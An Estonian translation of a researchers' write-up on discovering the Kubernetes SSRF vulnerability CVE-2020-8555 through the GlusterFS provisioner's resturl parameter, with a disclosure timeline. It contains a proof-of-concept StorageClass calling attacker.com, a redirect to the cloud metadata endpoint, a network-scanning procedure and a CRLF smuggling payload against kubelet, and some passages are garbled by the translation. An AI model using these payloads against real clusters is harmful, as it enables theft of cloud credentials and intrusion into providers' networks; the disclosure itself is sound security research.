🥇 Kui asi pole ainult Kubernetes'e haavatavuses…

Märkus tõlke kohta.: artikli autorid räägivad põhjalikult, kuidas nad suutsid leida haavatavuse CVE-2020–8555 Kuberneteses. Kuigi algselt nägi see välja mitte väga ohtlikuna, osutus selle kriitilisus koos teiste teguritega mõnede pilveteenuste pakkujate puhul maksimaalseks. Tehtud töö eest premeeris mitmed organisatsioonid heldelt spetsialiste.

Kes me oleme

Meie oleme kaks Prantsuse küberturbeuurijat, kes avastasid koos haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, aga paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:

Brice Augras — Groupe Asten Company;
Christophe Hauquiert — Kubernetes'e arhitekt Nokia's.

Mis juhtus?

See artikkel on meie viis rääkida sellest, kuidas tavaline uurimisprojekt muutus ootamatult kõige põnevamaks seikluseks bugide jahil (vähemalt hetkel).

Kuidas te ilmselt teate, on bugide jahimeestel paar märkimisväärset omadust:

nad elavad pitsade ja õlle peal;
nad töötavad siis, kui kõik teised magavad.

Meie ei ole nende reeglite erand: tavaliselt kohtume nädalavahetustel ja veedame unetuks muutvaid häkkimisöid. Aga üks selline öö lõppes üsna ebatavaliselt.

Alguses plaanisime kohtuda, et arutada osalemist CTF järgmisel päeval. Rääkides Kubernetes'e turvalisusest hallatavates teenusekeskkondades, meenutasime vana ideed SSRF (Server-Side Request Forgery) ja otsustasime proovida kasutada seda rünnakuskeemina.

Kell 11 õhtul alustasime uurimistöödega ja läksime magama varakult hommikul, väga rahuldava tulemusega. Just nende uuringute tõttu sattusime MSRC Bug Bounty programmi ja töötasime välja õiguste eskaleerimise eksploidimise.

Möödusid nädalad/kuud ja meie ootamatud tulemused andsid meile ühe kõrgeima preemia Ajaloo Azure Cloud Bug Bounty - lisaks sellele, mille me saime Kuberneteselt!

Meie uurimisprojekti alusel avaldas Kubernetes Product Security Committee CVE-2020–8555.

Nüüd soovime võimalikult palju jagada teavet leitud haavatavuse kohta. Loodame, et hindate leidmist ja jagate tehnilisi detaile teiste infosec kogukonna liikmetega!

Nii et siin on meie lugu…

Kontekst

Kuidas Kubernetes töötab pilvehallatavas keskkonnas, et mõista maksimaalselt toimunu tähendust, vaatame kõigepealt.

Kui loote Kubernetes klastrite egmendi sellises keskkonnas, vastutab tavaliselt halduskihi töö eest pilveteenuse pakkuja.

Halduskiht asub pilvepakkuja perimeetris, samas kui Kubernetes sõlmed asuvad kliendi perimeetris.

Dünaamiliseks mahute määramiseks kasutatakse mehhanismi, mis pakub neid dünaamiliselt välistest salvestusvaradest ja seondub PVC-ga (persistent volume claim, st säilitusnõue).

Niipea, kui PVC on loodud ja seondatud StorageClass’iga K8s klastri, vastutab järgmiste mahute määramise eest kube/cloud controller manager (tema täpne nimetus sõltub väljaandest). (Märkus tõlke kohta.: Lisainfot CCM kohta, kasutades ühe pilveteenuse pakkuja rakenduse näidet, oleme juba kirjutanud. siin.)

On mitmeid provisioner’ite variante, mida Kubernetes toetab: enamik neist on kaasatud orkestri tuumikusse,samuti haldavad teised täiendavad provisioner’id, mis asuvad klastris pod’des.

Oma uurimises keskendusime mahute määramise sisemisele mehhanismile, mida illustreeritakse allpool:

Dünaamiline mahute määramine kasutades Kubernetes’i sisseehitatud provisioner’it.

Lühidalt, kui Kubernetes on seadistatud hallatavas keskkonnas, vastutab controller manager’i töö eest pilveteenuse pakkuja, kuid mahute loomise nõue (number 3 ülaltoodud skeemis) lahkub pilvepakkuja sisemisest võrgust. Ja siit muutub olukord tõeliselt põnevaks!

Rünnaku stsenaarium

Selles jaotises räägime, kuidas kasutasime eespool mainitud töövoogu ja saime juurdepääsu pilveteenuse pakkuja sisemistele ressurssidele. Samuti näitame, kuidas teatud toiminguid teostada – näiteks hankida sisemised autentimisteated või tõsta õigusi.

Üks lihtne manipulatsioon (sel juhul Service Side Request Forgery) aitas saavutada juurdepääsu klientide keskkonnast välja erinevate pilotu teenuse pakkujate K8s klastrites.

Oma uuringutes keskendusime GlusterFS provisionerile. Kuigi järgmised sammud on kirjeldatud sellises kontekstis, on sama haavatavus ka Quobyte, StorageOS ja ScaleIO puhul.

Mahtude dünaamilise pakkumise mehhanismi ärakasutamine

Lähenedes salvestusklasside analüüsile GlusterFS Go keeles kliendi lähtekoodis me märgati, et esimese HTTP-päringu (3), mis saadeti mahtu luues, lõppu kasutaja URL-is parameetrina resturl sama teave, mis tavalisele konteinerile. /volumes.

Otsustasime selle lisatee eemaldada, lisades # parameetris resturl. See on esimene YAML-konfiguratsioon, mida kasutasime "poolpimedate" SSRF-haavatavuse testimiseks (lisateavet poolpimedate või half-blind SSRF kohta võib leida näiteks siin — toimetaja märkus):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Seejärel kasutasime Kubernetes klastrite kaugjuhtimiseks binaarfaili kubectl. Üldiselt võimaldavad pilveteenuse pakkujad (Azure, Google, AWS jne) selle tööriista kasutamiseks mandaate hankida.

Selle tõttu õnnestus meil rakendada oma "eriline" fail. Kube-controller-manager sooritas lõpptulemusena HTTP-päringu:

kubectl create -f sc-poc.yaml

Rünnaku seisukohalt

Varsti pärast seda suutsime ka saada HTTP-vastuse sihtserverilt — läbi käskude describe pvc või get events kubectlis. Ja tõepoolest: see Kubernetesi draiver on vaikimisi liiga sõnakas oma hoiatuste/veateadete osas...

Siin on näide lingist https://www.google.fr, mis on seadistatud parameetrina resturl:

kubectl describe pvc poc-ssrf
# või võite kasutada ka kubectl get events

Sellise lähenemise raames olime piiratud päringutega, mis olid HTTP POST ja ei saanud vastuse kehast sisu, kui tagastatud kood oli 201. Seetõttu otsustasime teha täiendavaid uuringuid ja laiendasime seda häkkimisskeemi uute lähenemistega.

Meie uuringute evolutsioon

Edasijõudnud stsenaarium nr 1: 302. suunamise kasutamine välisest serverist HTTP meetodi muutmiseks, et leida paindlikum viis sisemiste andmete kogumiseks.
Edasijõudnud stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.
Täpsem stsenaarium №3: HTTP CRLF + salakaubanduse ('smuggling') HTTP-päringute kasutamine kohandatud HTTP-päringute loomiseks ja andmete saamiseks kube-controller'i logidest.

Tehnilised spetsifikatsioonid

Uuringutes kasutati Azure Kubernetes Service (AKS) Kubernetes versiooniga 1.12 North Europe piirkonnas.
Ülaltoodud stsenaariumid viidi läbi Kubernetes'i viimastel väljaannetel, välja arvatud kolmas stsenaarium, kuna see nõudis Kubernetes'i, mis on kompileeritud Golang versiooniga ≤ 1.12.
Ründaja väline server — https://attacker.com.

Täpsem stsenaarium №1: HTTP POST-päringu ümbersuunamine GET-iks ja konfidentsiaalsete andmete saamine

Algne meetod oli täiustatud ründaja serveri seadistamisega selleks, et tagastada 302 HTTP Retcode, et konverteerida POST-päring GET-päringuks (samm 4 skeemil):

Esimene päring (3), mis pärineb kliendilt GlusterFS (Controller Manager), on tüübiga POST. Järgides järgmisi samme, suudame selle muuta GET-iks:

Parameetrina resturl StorageClass'is on määratud http://attacker.com/redirect.php.
Läbipääs https://attacker.com/redirect.php vastab 302 HTTP staatusekoodiga järgmise Location Header'iga: http://169.254.169.254. See võib olla mis tahes muu sisemine ressurss — antud juhul kasutatakse ümbersuunamislinki ainult näitena.
Vaikimisi net/http teek Golang'ist suunab päringu ümber ja konverteerib POST-i GET-iks 302. staatusekoodiga, mille tulemuseks on HTTP GET-päring sihtressursile.

HTTP-vastuse keha lugemiseks tuleb teha describe PVC objekti:

kubectl describe pvc xxx

Siin on näide HTTP-vastusest JSON-formaadis, mille suutsime saada:

Leitud haavatavuse võimalused olid sel hetkel piiratud järgmiste põhjuste tõttu:

Võimetus lisada HTTP-pealkirju väljastatud päringusse.
Võimetus teha POST-päringut parameetritega kehas (nii on mugav küsida võtme väärtust etcd eksemplarilt, mis töötab 2379 portil, kui kasutatakse krüpteerimata HTTP-d).
Võimetus saada vastuse keha sisu, kui staatusekood oli 200 ja vastusel ei olnud JSON Content-Type'i.

Täpsem stsenaarium №2: kohaliku võrgu skaneerimine

Seda meetodit half-blind SSRF kasutati seejärel pilveteenuse pakkuja sisevõrgu skaneerimiseks ja erinevate kuulamisserverite (Metadata eksemplar, Kubelet, etcd jne) küsitlemiseks vastuste põhjal kube-controller'ilt.

Esmalt määrati Kubernetes'i komponentide standardne kuulamisportide (8443, 10250, 10251 jne) loetelu ning seejärel tuli skaneerimisprotsess automatiseerida.

Nähtes, et see skannimisviis on väga spetsiifiline ja ei ühildu klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma bash-skripti töötajad, mis automatiseerivad kogu protsessi.

Näiteks, et kiiremini skannida 172.16.0.0/12 sisevõrgu vahemikku, käivitati samaaegselt 15 töötajat. Ülaltoodud IP-vahemik valiti puhtalt näitena ja seda võib muuta konkreetse teenusepakkuja IP-vahemikuks.

Ühe IP-aadressi ja ühe pordi skannimiseks tuleb teha järgmist:

eemaldada eelmisel korral kontrollitud StorageClass;
eemaldada eelmine kontrollitud Persistent Volume Claim;
muuta väärtusi IP ja Port sc.yaml;
luua StorageClass uue IP ja pordiga;
luua uus PVC;
tõmmata skannimistulemused välja PVC jaoks describe'iga.

Täpsem stsenaarium nr 3: CRLF-süst + HTTP-smuggling Kubernetes'i "vanades" versioonides

Kui lisaks sellele pakkuja pakkus klientidele vanu K8s-klastrite versioone ja avatakse neile kube-controller-manager'i logide juurde, muutub efekt veelgi märgatavamaks.

Ründajale on tõeliselt palju mugavam muuta oma äranägemise järgi HTTP-päringuid, mis on suunatud täieliku HTTP-vastuse saamisele.

Selle viimase stsenaariumi rakendamiseks pidid olema täidetud järgmised tingimused:

Kasutajal peab olema juurdepääs kube-controller-manager'i logidele (nagu näiteks Azure LogInsights).
Kubernetes'i klaster peab kasutama Golangi versiooni alla 1.12.

Me käivitasime kohalikku keskkonda, mis imiteerib andmevahetust Go-klient GlusterFS ja vale sihtserveri vahel (hetkel hoidume PoC avaldamisest).

Leiti haavatavus, mis puudutas Golangi versioone alla 1.12 ja võimaldas häkkeritel läbi viia HTTP smuggling/CRLF rünnakuid.

Koondades ülaltoodud half-blind SSRF koos selle juurde, saime saata päringuid oma maitse järgi, sealhulgas asendada pealkirju, HTTP meetodeid, parameetreid ja andmeid, mida kube-controller-manager seejärel töötles.

Siin on näide töötavast "püügikarpidest" parameetris resturl StorageClass'ist, mis rakendab sarnast rünnaku stsenaariumi:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Tulemuseks on viga unsolicited response, misabout, misabout, misabout kontrolli logidesse. Tänu vaikimisi sissetulevusele salvestatakse sinna ka vastava HTTP-sõnumi sisu.

See oli meie kõige tulemuslikum "püünis" tõendite kontseptsiooni raames.

Kasutades sellist lähenemist, suutsime teostada mõned järgmistest rünnakutest erinevate haldava k8s pakkujate klastrites: õiguste kõrgendamine metadata-instantside autentimistunnuste kaudu, DoS juhtme abil (šifreerimata) HTTP-päringutega master-instantides etcd ja nii edasi.

Mõjud

Kubernetes'e ametlikus avalduses avastatud SSRF- haavatavuse kohta anti sellele hinnang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui arvestada ainult Kubernetes'e perimeetri haavatavust, kvalifitseeritakse integriteedi vektor (integrity vector) kui None.

Siiski, võimalike tagajärgede hindamine hallatavas teenuse keskkonnas (ja see oli meie uurimise kõige huvitavam osa!) sundis meid haavatavust ülekvalifitseerima hinnangule Kriitiline CVSS 10/10 paljude jaotajate jaoks.

Allpool on täiendav teave, mis aitab mõista, millest lähtusime võimalike tagajärgede hindamisel pilvekeskkondades:

Integriteet

Remote Command Execution saamnienie esimeseid sisemisi autentimistunnuseid.
Üksikuid ülaltoodud stsenaariume kasutades IDORi (Insecure Direct Object Reference) meetodiga teiste ressursside, mis leiti lokaalses võrgus.

Privaatsus

Liikumine külgede vahel tänu varastatud pilve autentimistunnustele (näiteks metadata API). Teabe kogumine lokaalsest võrgust skaneerimisega (SSH versioonide, HTTP-serveri versioonide jms määramine).
Teabe kogumine instantside ja infrastruktuuri kohta sisemiste APIde küsimise kaudu, nagu metadata API (
Klientide andmete vargus pilve autentimistunnuste kaudu.http://169.254.169.254, …).
Kõik ekspluateerimise stsenaariumid, mis on seotud rünnakuvectoritega

Saadavus

integriteedi (integrity) , võivad olla kasutamiseks hävitavate tegevuste jaoks ja põhjustada, et klientide perimeetri (või mõne muu) master-instantid oleksid kätte saamata., võivad olla kasutatud hävitavateks eesmärkideks ning võivad põhjustada, et kliendi perimeetri (või mõne muu) meistriteenused muutuvad kättesaamatuks.

Kuna olime K8s-i hallatud keskkonnas ja hindasime mõju süsteemi terviklikkusele, võib ette kujutada mitmeid stsenaariume, mis võiksid mõjutada kättesaadavust. Näiteks võib tuua andmebaasi etcd rikke või kriitilise API Kubernetes'i kõne tegemise.

Ajatelg

6. detsember 2019: teade tuvastatud haavatavusest MSRC Bug Bounty'le.
3. jaanuar 2020: kolmas osapool teavitas Kubernetes'i arendajaid, et töötame turvaprobleemiga. Ja palus arvestada SSRF-i sisemise (in-core) haavatavusena. Pärast seda esitasime üldise aruande tehniliste detailidega probleemi allika kohta.
15. jaanuar 2020: esitasime Kubernetes'i arendajatele tehnilised ja üldised aruanded nende päringu põhjal (HackerOne platvormi kaudu).
15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF süstimine varasemate väljundite jaoks peetakse in-core haavatavuseks. Lõpetasime kohe teiste teenusepakkujate perimeetrite analüüsi: põhjuse uurimisega tegelema hakkas K8s'i meeskond.
15. jaanuar 2020: HackerOne kaudu saadi MSRC-lt preemia.
16. jaanuar 2020: Kubernetes'i PSC (Product Security Committee) tunnustas haavatavust ja palus selle saladuses hoida kuni märtsi keskpaigani, arvestades suurt arvu potentsiaalseid ohvreid.
11. veebruar 2020: saadud preemia Google VRP-lt.
4. märts 2020: HackerOne kaudu saadi preemia Kubernetes'lt.
15. märts 2020: algselt planeeritud avalik avalikustamine viibiti COVID-19 olukorra tõttu.
1. juuni 2020: Kubernetes'i ja Microsofti ühisavaldus haavatavusest.

TL;DR

Me joome õlut ja sööme pitsat 🙂
Me avastasime in-core haavatavuse Kubernetes'es, kuigi me ei kavatsenud seda teha.
Me tegime lisauuringut erinevate pilveteenuste klastrites ning suutsime suurendada haavatavuse tekitatud kahju, et saada lisaks suurepäraseid boonuseid.
Selles artiklis leiate palju tehnilisi üksikasju. Me arutame neid meeleldi teiega (Twitter: @ReeverZax & @__hach_).
Selgus, et kõikvõimalikud formaliteedid ja aruannete koostamine võtavad kauem aega, kui oodati.